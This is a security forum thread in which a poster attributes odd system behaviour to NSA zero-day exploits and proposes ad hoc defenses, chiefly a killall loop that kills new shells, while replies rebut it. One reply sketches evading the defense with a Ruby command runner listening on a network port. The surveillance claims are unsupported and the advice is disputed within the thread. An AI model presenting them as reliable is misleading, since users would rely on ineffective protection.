How to stay as safe from the NSA as humanly possible

[h2kchicken]

Original link is here (with more pertinent details that I won't post in this thread):
https://github.com/corna/me_cleaner/issues/51

My name is Carlos Royal and I've witnessed several zero day exploits used against my computer. As a result of this, I've been the target of government corruption AND an extended gaslighting campaign that's designed to undermine the fact that the government got caught red handed breaking into my pc (when I was using an end-of-life system that had no management engine) by means of both attempting to erode my sanity/make me question my memory and attempting to pull me out of integrity (so I hand my power away/do something criminal-esque due to provocation and end up in prison/lose liberties or rights... to undermine the fact that the NSA got caught red handed). This post, which spans an experience of at least three years, is meant to combat the governments method/tactic of gaslighting (to escape accountability/acknowledgement of misusing government capabilities), by means of making my experience a public record (since the techniques/tactics employed rely on me staying silent due to doubt, fear, and "what if's"), and is highly beneficial to any security professional that reads it.

(to the organization that targeted me: Consider the above paragraph "Game Over.")

Mandatory backstory:

A while ago, I decided to challenge myself by attempting to obtain the Offensive Security Certified Professional certification in an effort to break into the penetration testing field. Over the course of 120 days, I managed to successfully breach and escalate on 16 systems within the OSCP lab.

Firefox Zero Day:

During my progress, I noticed unusual activity on my computer. I make heavy use of the Linux terminal on an everyday basis and I noticed that the shell that I was using wasn’t the first shell that was open.

Upon further investigation, I noticed two bash processes running on my PC. Upon closing the one that I wasn’t using, my Firefox browser closed at the exact same instant. This leads me to believe that I was targeted by the FoxAcid system due to my activity from the OSCP labs and that the zero day exploit didn't use the proper escape sequence.

Tor Malicious Node Zero Day:

I utilized an Open-WRT router as the base of my build. From behind it, I built an Arch Linux “transparent TOR router” that was designed to fail-close (where if my PC could not connect to the internet through TOR, it wouldn’t be able to connect to the internet whatsoever). From behind this router, I rebuilt my new PC using the Arch Linux distro. A few weeks later, after my build was complete, in use, and thoroughly tested, I observed on the “check.torproject.org” page (which was a page that I would check compulsively) that I “wasn’t using TOR.”

(THE MANAGEMENT ENGINE EXISTED WITHIN THE PC BUILD THAT I USED WHEN THIS EXPLOIT WAS USED AGAINST ME. THE GOVERNMENT UNMASKED ME OVER TOR SO I WOULD CATCH THE IP ADDRESS OF THE TOR NODE ON PURPOSE.)

This would lead me to believe that the government is in possession of a risky zero day exploit that exists to target TOR only users. Instead of targeting the TOR network directly, it would seem that this exploit works at the modem level and intercepts and possibly redirects the user to a malicious TOR node that’s not on the TOR network.

NOTE: If you "attempt to browse" the check.torproject.org page and it attempts to resolve for an extended period of time when using TOR, you should probably reset your circuit. You're probably being unmasked and your connection to the check.torproject.org page is most likely being dropped.

DBUS Daemon Socket Exploit/X11 Socket Exploit:

The "bash" and "sh" Linux binaries aren't the only things that the government can target. They are also capable of targeting other things, such as the DBUS-DAEMON socket or the X11 socket on a Linux PC, to create a secondary session for the purpose of viewing, and perhaps interacting, with the target's PC. Things that can be done include, but are not limited to: spawning extra lock screens, crashing GUI tied processes (such as security scripts running in konsole), crashing the GUI in general, viewing your keystrokes and monitors, etc. A home user's browser is one of the primary avenues of attack and can be targeted by state actors to spawn shell binaries (or any binary) or use exploits against the DBUS-DAEMON socket or X11 socket.

NOTE: This can be rectified with pre-existing open source software, such as firejail (read the man page, USE THE AUDIT FEATURE. It will TELL YOU WHAT TO FIX.):

firejail --rmenv=DBUS_SESSION_BUS_ADDRESS --private=/root/a/fake/home/directory/ --x11=xephyr --quiet --net=ethernet1 openbox

Alternative to openbox, adding "nolisten local" to the X11 options of the X server running on a users system will disable abstract sockets (which should be sufficient in combination with a private tmp directory and private network spaces to use the PC's gui instead of nesting it).

If you're cosmologically "lucky," you may be able to see firejail kick back an error when the "sandboxed application" attempts to access a blacklisted file/folder that it's not supposed to.

If you're concerned about sandbox escapes (which do exist), this can be combated with the "kill" command listed below, as well as with good old fashioned socket monitoring (such as running "ss," with extra parameters, in a loop to tie processes to IP addresses). I've also found that renaming "dbus-launch" and "dbus-send" to "dbus-launch.old" and "dbus-send.old" as well as qdbus to qdbus.old serves to stifle the sandbox escapes that aren't covered by the shell kill script. These sandbox escapes aren't AS DETRIMENTAL as having shell access/control over the users PC, but can still be used for seriously nefarious purposes.

Theory: The 3 letter agencies connect to a users pc through google IP addresses.

Zombie Tracking Cookies:

Firefox connects to the internet when opened, regardless of whether or not the user chooses to browse. Upon attempting to disable third party cookies, I noticed that there was a tracking cookie that was implanted in my browser despite the fact that I did no browsing. Previously, the only third party tracking cookie that I've witnessed was one belonging to "google." I theorize that the NSA's zombie cookies implant themselves when the user opens up their browser (which connects to the internet) and disguises itself as the site that the user visits first. Because I did no surfing whatsoever, the tracking cookie was disguised as a Mozilla tracking cookie. The Mozilla home page does not require third party tracking cookies. This exploit was spotted originally due to my use of an addon that self-destructs unused cookies after 1 minute. Before I found this cookie undisguised, I noticed that a "google" tracking cookie would continue to self-destruct every minute, despite me closing and re-opening the browser and not navigating to google. Catching it in it undisguised state some time later confirmed my suspicions that this was a zombie tracking cookie (which was most likely set to attempt to re-implant itself automatically whenever I opened my browser).

How Corna's Intel ME removal script no shit saved my skin:

Because of the nature of the incidents that I've witnessed, I've designed a script that utilizes the killall command that will kill all processes specified that are older than 5 seconds.

killall "sh" -q -v -y 5s

This command, when run in a loop every two seconds, kills all shells ("bash" and "sh" specifically) that are younger than 5 seconds. So long as a terminal process that THE USER CONTROLS is already running, the user gains the ability to use their own terminals while denying access to terminals that are opened as a result of any exploits that are used against their computer. The terminal is THE HEART of pentesting, and in denying this resource to an attacker, it denies an attacker the ability to gain control over a users PC. The idea is to open a few terminal processes before running this command in a loop in a script (AS ROOT AND AS A BACKGROUND PROCESS, since a terminal manager's process can be "crashed"), and then connecting to the internet as normal. Your operating system is capable of defending itself (for free) with native tools.

This technique can be used for more than just stopping shells. It can also be used for sandbox escapes that occur through firejail. Common binaries that the 3 letters can target are "bash," "sh," "dbus-daemon," and "qdbus (kde)." The last two can be spawned as processes and attached to firefox, similar to escaped shells. The kill command will work to stop the end result of Firefox forking to binaries on your system that it shouldn't fork to.

This can be tested ON YOUR OWN WITH A KNOWN VULNERABLE VM.
I actually ENCOURAGE anyone and EVERYONE to try this for themselves (I want to be proven wrong).

What's important to note here is that THIS IS USELESS WITHOUT THE INTEL MANAGEMENT ENGINE REMOVED FROM YOUR COMPUTER. No software solution will ever be a good enough solution so long as hardware backdoors/secondary operating systems exist within a users system. The Intel management engine contains an Operating system that shares physical resources with the target machine. Without Corna's removal efforts, I would be up the creek with no paddle. To obtain a better stance on PC security, open source security solutions must be used IN COMBINATION WITH CORNA'S REMOVAL SCRIPT/the removal of the Intel Management Engine. Both hardware and software security solutions must be used together.

I leave my post here for the security experts to judge for themselves (all attempts to take the appropriate channels to close the leaks, have failed spectacularly). Critique this logic, spin up a vulnerable VM, and TEST IT FOR YOURSELF.

I'd love for someone to prove me wrong.

[digininja]

I'm curious, why would the NSA target you? Could it have been the Israeli 8200 or British GCHQ? Australian SIGINT?

Be careful sharing too much, it might not be just cyber that they attack you through next time.

And if you are really paranoid, don't post stuff like this from your Comcast IP, it tells them where you are!

[h2kchicken]

1) I used my real name in the original thread.

2) This is in response to things that have already happened to me physically.

3) Please address the context of the post and the crux of the post which is:

killall "sh" -q -v -y 5s

[digininja]

If that is the crux then I'd just use csh or tcsh if I wanted a shell.

[Sebkinne]

16 minutes ago, digininja said:

If that is the crux then I'd just use csh or tcsh if I wanted a shell.

Shells are also trivially easy to make (at least enough for a quick hack) :) 

[h2kchicken]

Thank you for responding.

Would you agree that... after performing the command "cat /etc/shells," and it displaying only bash and sh installed as your system shells

That after running the above killall command in a loop before connecting to the internet, you wouldn't be able to obtain a shell?

Yes or no? And why?

[h2kchicken]

To clarify the above (I can't edit my posts):

Would you agree that... after performing the command "cat /etc/shells," and it displaying only bash and sh installed as your system shells,

That after running the above killall command in a loop before connecting to the internet, a malicious actor wouldn't be able to obtain a shell due to it being closed the instant it's open?

Yes or no? And why? Have you tested this on your own? What were your results? Would you agree that you would not be able to spawn other shells if they weren't installed on the users system, nor "bash" or "sh" if the killall command is ran in a loop to kill new shells that spawned as a result of your exploit against a users pc?

[digininja]

No I wouldn't, there are loads of ways to get shell on a machine that don't involve either bash or sh.

The following ruby script will execute the sleep command which will sleep for 60 seconds, run this and see if your killall kills it.

#!/usr/bin/env ruby

%x{sleep 60} 

Then simply update the script to listen on a network port for commands coming in and then have it execute them instead of the sleep. One shell, no bash or sh.

And, as I said before, if I wanted a bash like shell, I'd just drop tcsh, zsh or csh on there and use one of those which you aren't killing.

[h2kchicken]

1) Your shell would be killed instantly the second it was opened by ruby, since it would spawn a shell process. The shells process would be killed regardless of how it was opened within a second of opening. 1 second is not enough to send commands to a system before the shell is closed. This shows me that you haven't tested this yourself.

2) This would count as physical access, since you'd need to drop a shell to obtain access beforehand (something that involves altering a users files, which can be easily spotted).

 

Could you please test this thoroughly and report your findings? :)

[digininja]

Lets look at your assumptions....

If you are worried about a rogue sh or bash process then you have to be assuming that someone has managed to get something onto your machine in the first place, how they did that, I don't know.

You are also then assuming that, once the rogue app is on there, that it is set to run in some way, again, this is based on your assumption that something malicious is running that is creating the sh or bash processes.

So, making those two assumptions, I would install a ruby script rather than something that requires bash or sh to run, I would then have that start using the ruby interpreter which would create a ruby process, not a bash or sh one. That would not get killed by your script as it isn't looking for ruby

And I did test the script, once my script is running, there are no additional bash or sh processes created.